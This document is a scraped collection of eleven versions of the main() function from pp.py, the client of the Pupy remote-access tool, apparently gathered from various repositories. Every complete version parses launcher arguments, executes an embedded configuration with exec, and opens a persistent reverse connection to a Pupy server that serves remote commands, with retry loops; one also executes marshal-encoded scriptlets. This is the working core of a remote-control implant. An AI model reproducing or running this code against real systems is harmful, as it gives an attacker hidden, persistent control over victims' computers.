Example #1
0
def main():
    global LAUNCHER
    global LAUNCHER_ARGS
    global attempt

    if len(sys.argv) > 1:
        parser = argparse.ArgumentParser(
            prog='pp.py',
            formatter_class=argparse.RawTextHelpFormatter,
            description=
            "Starts a reverse connection to a Pupy server using the selected launcher\nLast sources: https://github.com/n1nj4sec/pupy\nAuthor: @n1nj4sec ([email protected])\n"
        )
        parser.add_argument('--debug',
                            action='store_true',
                            help="increase verbosity")
        parser.add_argument('launcher',
                            choices=[x for x in conf.launchers],
                            help="the launcher to use")
        parser.add_argument('launcher_args',
                            nargs=argparse.REMAINDER,
                            help="launcher arguments")
        args = parser.parse_args()
        if args.debug:
            logging.getLogger().setLevel(logging.DEBUG)
        LAUNCHER = args.launcher
        LAUNCHER_ARGS = shlex.split(' '.join(args.launcher_args))

    if not LAUNCHER in conf.launchers:
        exit("No such launcher: %s" % LAUNCHER)

    if 'get_pupy_config' in pupy.__dict__:
        try:
            config_file = pupy.get_pupy_config()
            exec config_file in globals()
        except ImportError:
            logging.warning(
                "ImportError: pupy builtin module not found ! please start pupy from either it's exe stub or it's reflective DLL"
            )
    while True:
        try:
            launcher = conf.launchers[LAUNCHER]()
            try:
                launcher.parse_args(LAUNCHER_ARGS)
            except LauncherError as e:
                launcher.arg_parser.print_usage()
                exit(str(e))
            if getattr(pupy, 'pseudo', False):
                set_connect_back_host(launcher.get_host())
            else:
                pupy.get_connect_back_host = launcher.get_host

            pupy.infos['launcher'] = LAUNCHER
            pupy.infos['launcher_args'] = LAUNCHER_ARGS
            pupy.infos['launcher_inst'] = launcher
            pupy.infos['transport'] = launcher.get_transport()
            rpyc_loop(launcher)
        finally:
            time.sleep(get_next_wait(attempt))
            attempt += 1
Example #2
0
def main():
    global LAUNCHER
    global LAUNCHER_ARGS
    global attempt

    if len(sys.argv) > 1:
        parser = argparse.ArgumentParser(
            prog='pp.py',
            formatter_class=argparse.RawTextHelpFormatter,
            description=
            "Starts a reverse connection to a Pupy server using the selected launcher\nLast sources: https://github.com/n1nj4sec/pupy\nAuthor: @n1nj4sec ([email protected])\n"
        )
        parser.add_argument('launcher',
                            choices=[x for x in conf.launchers],
                            help="the launcher to use")
        parser.add_argument('launcher_args',
                            nargs=argparse.REMAINDER,
                            help="launcher arguments")
        args = parser.parse_args()
        LAUNCHER = args.launcher
        LAUNCHER_ARGS = shlex.split(' '.join(args.launcher_args))

    if not LAUNCHER in conf.launchers:
        exit("No such launcher: %s" % LAUNCHER)

    if "windows" in platform.system().lower():
        try:
            import pupy
            config_file = pupy.get_pupy_config()
            exec config_file in globals()
        except ImportError:
            logging.warning(
                "ImportError: pupy builtin module not found ! please start pupy from either it's exe stub or it's reflective DLL"
            )
    while True:
        try:
            launcher = conf.launchers[LAUNCHER]()
            try:
                launcher.parse_args(LAUNCHER_ARGS)
            except LauncherError as e:
                launcher.arg_parser.print_usage()
                exit(str(e))

            if "pupy" not in sys.modules:
                add_pseudo_pupy_module(launcher.get_host())
            else:
                import pupy  # necessary
                pupy.get_connect_back_host = launcher.get_host
            import pupy  # also necessary

            pupy.infos = {
            }  #global dictionary to store informations persistent through a deconnection
            pupy.infos['launcher'] = LAUNCHER
            pupy.infos['launcher_args'] = LAUNCHER_ARGS
            rpyc_loop(launcher)
        finally:
            time.sleep(get_next_wait(attempt))
            attempt += 1
Example #3
0
def main():
    global LAUNCHER
    global LAUNCHER_ARGS
    global debug
    global attempt

    if hasattr(pupy, 'initialized'):
        return

    setattr(pupy, 'initialized', True)

    try:
        if hasattr(signal, 'SIGHUP'):
            signal.signal(signal.SIGHUP, handle_sighup)
        if hasattr(signal, 'SIGTERM'):
            signal.signal(signal.SIGTERM, handle_sigterm)
    except:
        print_exception('[MS]')

    if hasattr(pupy, 'set_exit_session_callback'):
        pupy.set_exit_session_callback(handle_sigterm)

    if len(sys.argv) > 1:
        parser = argparse.ArgumentParser(
            prog='pp.py',
            formatter_class=argparse.RawTextHelpFormatter,
            description="Starts a reverse connection to a Pupy server using the selected launcher\nLast sources: https://github.com/n1nj4sec/pupy\nAuthor: @n1nj4sec ([email protected])\n")
        parser.add_argument(
            '--debug',
            action='store_true',
            help="increase verbosity")
        parser.add_argument(
            'launcher',
            choices=[
                x for x in conf.launchers],
            help="the launcher to use")
        parser.add_argument(
            'launcher_args',
            nargs=argparse.REMAINDER,
            help="launcher arguments")
        args = parser.parse_args()

        if not debug:
            debug = bool(args.debug)

        LAUNCHER = args.launcher
        LAUNCHER_ARGS = shlex.split(' '.join(args.launcher_args))

    if hasattr(pupy, 'get_pupy_config'):
        try:
            config_file = pupy.get_pupy_config()
            exec config_file in globals()
        except ImportError, e:
            logger.warning(
                "ImportError: Couldn't load pupy config: {}".format(e))
Example #4
0
def main():
	global HOST, TRANSPORT
	if len(sys.argv)>1:
		parser = argparse.ArgumentParser(prog='pp.py', formatter_class=argparse.RawTextHelpFormatter, description="Starts a reverse connection to a Pupy server\nLast sources: https://github.com/n1nj4sec/pupy\nAuthor: @n1nj4sec ([email protected])\n")
		parser.add_argument('--transport', choices=[x for x in transports.iterkeys()], default=TRANSPORT, help="the transport to use ! (the server needs to be configured with the same transport) ")
		parser.add_argument('host', metavar='host:port', help='The address of the pupy server to connect to')
		args=parser.parse_args()
		HOST=args.host
		TRANSPORT=args.transport
	if "windows" in platform.system().lower():
		try:
			import pupy
			config_file=pupy.get_pupy_config()
			exec config_file in globals()
			pupy.get_connect_back_host=(lambda: HOST)
		except ImportError:
			print "Warning : ImportError: pupy builtin module not found ! please start pupy from either it's exe stub or it's reflective DLL"
	else:
		add_pseudo_pupy_module(HOST)
	

	attempt=0
	while True:
		try:
			rhost,rport=None,None
			tab=HOST.rsplit(":",1)
			rhost=tab[0]
			if len(tab)==2:
				rport=int(tab[1])
			else:
				rport=443
			print "connecting to %s:%s using transport %s ..."%(rhost,rport, TRANSPORT)
			t=transports[TRANSPORT]
			client=t['client'](**t['client_kwargs'])
			s=client.connect(rhost, rport)
			stream = t['stream'](s, t['client_transport'], t['client_transport_kwargs'])
			conn=rpyc.utils.factory.connect_stream(stream, ReverseSlaveService, {})
			while True:
				attempt=0
				conn.serve()
		except KeyboardInterrupt:
			print "keyboard interrupt raised, restarting the connection"
		except SystemExit:
			print "SystemExit raised"
			break
		except EOFError:
			print "EOF received. exiting."
			break
		except Exception as e:
			print e
			time.sleep(get_next_wait(attempt))
			attempt+=1
Example #5
0
def main():
    global LAUNCHER
    global LAUNCHER_ARGS
    global attempt

    if len(sys.argv)>1:
        parser = argparse.ArgumentParser(prog='pp.py', formatter_class=argparse.RawTextHelpFormatter, description="Starts a reverse connection to a Pupy server using the selected launcher\nLast sources: https://github.com/n1nj4sec/pupy\nAuthor: @n1nj4sec ([email protected])\n")
        parser.add_argument('--debug', action='store_true', help="increase verbosity")
        parser.add_argument('launcher', choices=[x for x in conf.launchers], help="the launcher to use")
        parser.add_argument('launcher_args', nargs=argparse.REMAINDER, help="launcher arguments")
        args=parser.parse_args()
        if args.debug:
            logging.getLogger().setLevel(logging.DEBUG)
        LAUNCHER=args.launcher
        LAUNCHER_ARGS=shlex.split(' '.join(args.launcher_args))

    if not LAUNCHER in conf.launchers:
        exit("No such launcher: %s"%LAUNCHER)

    if "windows" in platform.system().lower():
        try:
            import pupy
            config_file=pupy.get_pupy_config()
            exec config_file in globals()
        except ImportError:
            logging.warning("ImportError: pupy builtin module not found ! please start pupy from either it's exe stub or it's reflective DLL")
    while True:
        try:
            launcher=conf.launchers[LAUNCHER]()
            try:
                launcher.parse_args(LAUNCHER_ARGS)
            except LauncherError as e:
                launcher.arg_parser.print_usage()
                exit(str(e))

            if "pupy" not in sys.modules:
                add_pseudo_pupy_module(launcher.get_host())
            else:
                import pupy # necessary
                pupy.get_connect_back_host=launcher.get_host
            import pupy # also necessary

            pupy.infos={} #global dictionary to store informations persistent through a deconnection
            pupy.infos['launcher']=LAUNCHER
            pupy.infos['launcher_args']=LAUNCHER_ARGS
            pupy.infos['launcher_inst']=launcher
            pupy.infos['transport']=launcher.get_transport()
            rpyc_loop(launcher)
        finally:
            time.sleep(get_next_wait(attempt))
            attempt+=1
Example #6
0
def main():
    global LAUNCHER
    global LAUNCHER_ARGS
    global debug
    global attempt

    if len(sys.argv) > 1:
        parser = argparse.ArgumentParser(
            prog='pp.py',
            formatter_class=argparse.RawTextHelpFormatter,
            description="Starts a reverse connection to a Pupy server using the selected launcher\nLast sources: https://github.com/n1nj4sec/pupy\nAuthor: @n1nj4sec ([email protected])\n")
        parser.add_argument(
            '--debug',
            action='store_true',
            help="increase verbosity")
        parser.add_argument(
            'launcher',
            choices=[
                x for x in conf.launchers],
            help="the launcher to use")
        parser.add_argument(
            'launcher_args',
            nargs=argparse.REMAINDER,
            help="launcher arguments")
        args = parser.parse_args()

        if not debug:
            debug = bool(args.debug)

        if debug:
            logging.getLogger().setLevel(logging.DEBUG)

        LAUNCHER = args.launcher
        LAUNCHER_ARGS = shlex.split(' '.join(args.launcher_args))

    if LAUNCHER not in conf.launchers:
        exit("No such launcher: %s" % LAUNCHER)

    if hasattr(pupy, 'get_pupy_config'):
        try:
            config_file = pupy.get_pupy_config()
            exec config_file in globals()
        except ImportError, e:
            logging.warning(
                "ImportError: Couldn't load pupy config: {}".format(e))
Example #7
0
def main():
    global LAUNCHER
    global LAUNCHER_ARGS
    global debug
    global attempt

    if len(sys.argv) > 1:
        parser = argparse.ArgumentParser(
            prog='pp.py',
            formatter_class=argparse.RawTextHelpFormatter,
            description="Starts a reverse connection to a Pupy server using the selected launcher\nLast sources: https://github.com/n1nj4sec/pupy\nAuthor: @n1nj4sec ([email protected])\n")
        parser.add_argument(
            '--debug',
            action='store_true',
            help="increase verbosity")
        parser.add_argument(
            'launcher',
            choices=[
                x for x in conf.launchers],
            help="the launcher to use")
        parser.add_argument(
            'launcher_args',
            nargs=argparse.REMAINDER,
            help="launcher arguments")
        args = parser.parse_args()

        if not debug:
            debug = bool(args.debug)

        LAUNCHER = args.launcher
        LAUNCHER_ARGS = shlex.split(' '.join(args.launcher_args))

    if hasattr(pupy, 'get_pupy_config'):
        try:
            config_file = pupy.get_pupy_config()
            exec config_file in globals()
        except ImportError, e:
            logging.warning(
                "ImportError: Couldn't load pupy config: {}".format(e))
Example #8
0
File: pp.py Project: 0xa-cc/pupy
def main():
	global LAUNCHER
	global LAUNCHER_ARGS

	if len(sys.argv)>1:
		parser = argparse.ArgumentParser(prog='pp.py', formatter_class=argparse.RawTextHelpFormatter, description="Starts a reverse connection to a Pupy server using the selected launcher\nLast sources: https://github.com/n1nj4sec/pupy\nAuthor: @n1nj4sec ([email protected])\n")
		parser.add_argument('launcher', choices=[x for x in conf.launchers], help="the launcher to use")
		parser.add_argument('launcher_args', nargs=argparse.REMAINDER, help="launcher arguments")
		args=parser.parse_args()
		LAUNCHER=args.launcher
		LAUNCHER_ARGS=shlex.split(' '.join(args.launcher_args))

	if not LAUNCHER in conf.launchers:
		exit("No such launcher: %s"%LAUNCHER)

	if "windows" in platform.system().lower():
		try:
			import pupy
			config_file=pupy.get_pupy_config()
			exec config_file in globals()
		except ImportError:
			logging.warning("ImportError: pupy builtin module not found ! please start pupy from either it's exe stub or it's reflective DLL")

	launcher=conf.launchers[LAUNCHER]()
	try:
		launcher.parse_args(LAUNCHER_ARGS)
	except LauncherError as e:
		launcher.arg_parser.print_usage()
		exit(str(e))

	if "pupy" not in sys.modules:
		add_pseudo_pupy_module(launcher.get_host())
	else:
		pupy.get_connect_back_host=launcher.get_host

	import pupy
	pupy.infos={} #global dictionary to store informations persistent through a deconnection
	pupy.infos['launcher']=LAUNCHER
	pupy.infos['launcher_args']=LAUNCHER_ARGS
		
	attempt=0
	while True:
		try:
			for stream in launcher.iterate():
				try:
					def check_timeout(event, cb, timeout=10):
						start_time=time.time()
						while True:
							if time.time()-start_time>timeout:
								if not event.is_set():
									logging.error("timeout occured !")
									cb()
								break
							elif event.is_set():
								break
							time.sleep(0.5)
					event=threading.Event()
					t=threading.Thread(target=check_timeout, args=(event, stream.close))
					t.daemon=True
					t.start()
					try:
						conn=rpyc.utils.factory.connect_stream(stream, ReverseSlaveService, {})
					finally:
						event.set()
					while True:
						attempt=0
						conn.serve()
				except KeyboardInterrupt:
					raise
				except EOFError:
					raise
				except SystemExit:
					raise
				except Exception as e:
					logging.error(e)
					
		except EOFError:
			print "EOF received. exiting."
			break
		except KeyboardInterrupt:
			if not getattr(sys, 'frozen', False):
				print ""
				break
			else:
				print "keyboard interrupt raised, restarting the connection"
		except SystemExit as e:
			logging.error(e)
			break
		except Exception as e:
			logging.error(e)
		finally:
			time.sleep(get_next_wait(attempt))
			attempt+=1
Example #9
0
            help="the launcher to use")
        parser.add_argument(
            'launcher_args',
            nargs=argparse.REMAINDER,
            help="launcher arguments")
        args = parser.parse_args()

        if not debug:
            debug = bool(args.debug)

        LAUNCHER = args.launcher
        LAUNCHER_ARGS = shlex.split(' '.join(args.launcher_args))

    if hasattr(pupy, 'get_pupy_config'):
        try:
            config_file = pupy.get_pupy_config()
            exec config_file in globals()
        except ImportError, e:
            logging.warning(
                "ImportError: Couldn't load pupy config: {}".format(e))

    if LAUNCHER not in conf.launchers:
        exit("No such launcher: %s" % LAUNCHER)

    if debug:
        logging.getLogger().setLevel(logging.DEBUG)

    launcher = conf.launchers[LAUNCHER]()

    try:
        launcher.parse_args(LAUNCHER_ARGS)
Example #10
0
def main():
    global LAUNCHER
    global LAUNCHER_ARGS
    global debug
    global attempt

    if hasattr(pupy, 'initialized'):
        return

    setattr(pupy, 'initialized', True)

    try:
        if hasattr(signal, 'SIGHUP'):
            signal.signal(signal.SIGHUP, handle_sighup)
        if hasattr(signal, 'SIGTERM'):
            signal.signal(signal.SIGTERM, handle_sigterm)
    except:
        print_exception('[MS]')

    if hasattr(pupy, 'set_exit_session_callback'):
        pupy.set_exit_session_callback(handle_sigterm)

    if len(sys.argv) > 1:
        parser = argparse.ArgumentParser(
            prog='pp.py',
            formatter_class=argparse.RawTextHelpFormatter,
            description="Starts a reverse connection to a Pupy server using the selected launcher\nLast sources: https://github.com/n1nj4sec/pupy\nAuthor: @n1nj4sec ([email protected])\n")
        parser.add_argument(
            '--debug',
            action='store_true',
            help="increase verbosity")
        parser.add_argument(
            'launcher',
            choices=[
                x for x in conf.launchers],
            help="the launcher to use")
        parser.add_argument(
            'launcher_args',
            nargs=argparse.REMAINDER,
            help="launcher arguments")
        args = parser.parse_args()

        if not debug:
            debug = bool(args.debug)

        LAUNCHER = args.launcher
        LAUNCHER_ARGS = shlex.split(' '.join(args.launcher_args))

    if hasattr(pupy, 'get_pupy_config'):
        try:
            config_file = pupy.get_pupy_config()
            exec config_file in globals()
        except ImportError as e:
            logger.warning(
                "ImportError: Couldn't load pupy config: {}".format(e))

    if LAUNCHER not in conf.launchers:
        sys.exit("No such launcher: %s" % LAUNCHER)

    if debug:
        import tempfile

        root_logger.handlers = []

        log_file_path = os.path.join(
            tempfile.mkdtemp(prefix='pupy-'),
            'pupy-client-{}-{}-debug.log'.format(int(time.time()), os.getpid()))

        pupy.infos['debug_logfile'] = log_file_path

        log_to_file = logging.FileHandler(log_file_path)
        log_to_file.setLevel(logging.DEBUG)
        log_to_file.setFormatter(
            logging.Formatter(
                '%(asctime)-15s|%(levelname)-5s|%(relativeCreated)6d|%(threadName)s|%(name)s| %(message)s'))
        log_to_con = logging.StreamHandler()
        log_to_con.setLevel(logging.DEBUG)
        log_to_con.setFormatter(logging.Formatter('%(asctime)-15s| %(message)s'))

        root_logger.addHandler(log_to_file)
        root_logger.addHandler(log_to_con)
        root_logger.setLevel(logging.DEBUG)

        root_logger.info('\nLogFile: %s\n', log_file_path)

    launcher = conf.launchers[LAUNCHER]()

    try:
        launcher.parse_args(LAUNCHER_ARGS)
    except LauncherError as e:
        launcher.arg_parser.print_usage()
        sys.exit(e)

    if pupy.pseudo:
        set_connect_back_host(launcher.get_host())
    else:
        pupy.get_connect_back_host = launcher.get_host

    pupy.infos['launcher'] = LAUNCHER
    pupy.infos['launcher_args'] = LAUNCHER_ARGS
    pupy.infos['launcher_inst'] = launcher
    pupy.infos['transport'] = launcher.get_transport()
    pupy.infos['debug'] = debug
    pupy.infos['native'] = pupy.pseudo is False
    pupy.infos['revision'] = getattr(pupy, 'revision', None)
    pupy.infos['cid'] = CONFIGURATION_CID

    if SCRIPTLETS:
        logger.debug('Start scriptlets')
        import marshal
        exec marshal.loads(SCRIPTLETS)
        logger.debug('Scriptlets completed')

    logger.debug('Starting rpyc loop')

    while not sys.terminated:
        try:
            rpyc_loop(launcher)

        except Exception as e:
            print_exception('[ML]')

            if type(e) == SystemExit:
                sys.terminated = True

        finally:
            if not sys.terminated:
                sleep_secs = pupy.sleep if pupy.sleep else get_next_wait(attempt)
                logger.info(
                    'Attempt %d - reconnect in %d seconds...',
                    attempt, sleep_secs)
                time.sleep(sleep_secs)

                pupy.sleep = None
                attempt += 1

    logger.debug('Exited')
Example #11
0
def main():
    global LAUNCHER
    global LAUNCHER_ARGS

    if len(sys.argv) > 1:
        parser = argparse.ArgumentParser(
            prog='pp.py',
            formatter_class=argparse.RawTextHelpFormatter,
            description=
            "Starts a reverse connection to a Pupy server using the selected launcher\nLast sources: https://github.com/n1nj4sec/pupy\nAuthor: @n1nj4sec ([email protected])\n"
        )
        parser.add_argument('launcher',
                            choices=[x for x in conf.launchers],
                            help="the launcher to use")
        parser.add_argument('launcher_args',
                            nargs=argparse.REMAINDER,
                            help="launcher arguments")
        args = parser.parse_args()
        LAUNCHER = args.launcher
        LAUNCHER_ARGS = shlex.split(' '.join(args.launcher_args))

    if not LAUNCHER in conf.launchers:
        exit("No such launcher: %s" % LAUNCHER)

    if "windows" in platform.system().lower():
        try:
            import pupy
            config_file = pupy.get_pupy_config()
            exec config_file in globals()
        except ImportError:
            logging.warning(
                "ImportError: pupy builtin module not found ! please start pupy from either it's exe stub or it's reflective DLL"
            )

    launcher = conf.launchers[LAUNCHER]()
    try:
        launcher.parse_args(LAUNCHER_ARGS)
    except LauncherError as e:
        launcher.arg_parser.print_usage()
        exit(str(e))

    if "pupy" not in sys.modules:
        add_pseudo_pupy_module(launcher.get_host())
    else:
        pupy.get_connect_back_host = launcher.get_host

    import pupy
    pupy.infos = {
    }  #global dictionary to store informations persistent through a deconnection
    pupy.infos['launcher'] = LAUNCHER
    pupy.infos['launcher_args'] = LAUNCHER_ARGS

    attempt = 0
    while True:
        try:
            for stream in launcher.iterate():
                try:

                    def check_timeout(event, cb, timeout=10):
                        start_time = time.time()
                        while True:
                            if time.time() - start_time > timeout:
                                if not event.is_set():
                                    logging.error("timeout occured !")
                                    cb()
                                break
                            elif event.is_set():
                                break
                            time.sleep(0.5)

                    event = threading.Event()
                    t = threading.Thread(target=check_timeout,
                                         args=(event, stream.close))
                    t.daemon = True
                    t.start()
                    try:
                        conn = rpyc.utils.factory.connect_stream(
                            stream, ReverseSlaveService, {})
                    finally:
                        event.set()
                    while True:
                        attempt = 0
                        conn.serve()
                except KeyboardInterrupt:
                    raise
                except EOFError:
                    raise
                except SystemExit:
                    raise
                except Exception as e:
                    logging.error(e)

        except EOFError:
            print "EOF received. exiting."
            break
        except KeyboardInterrupt:
            if not getattr(sys, 'frozen', False):
                print ""
                break
            else:
                print "keyboard interrupt raised, restarting the connection"
        except SystemExit as e:
            logging.error(e)
            break
        except Exception as e:
            logging.error(e)
        finally:
            time.sleep(get_next_wait(attempt))
            attempt += 1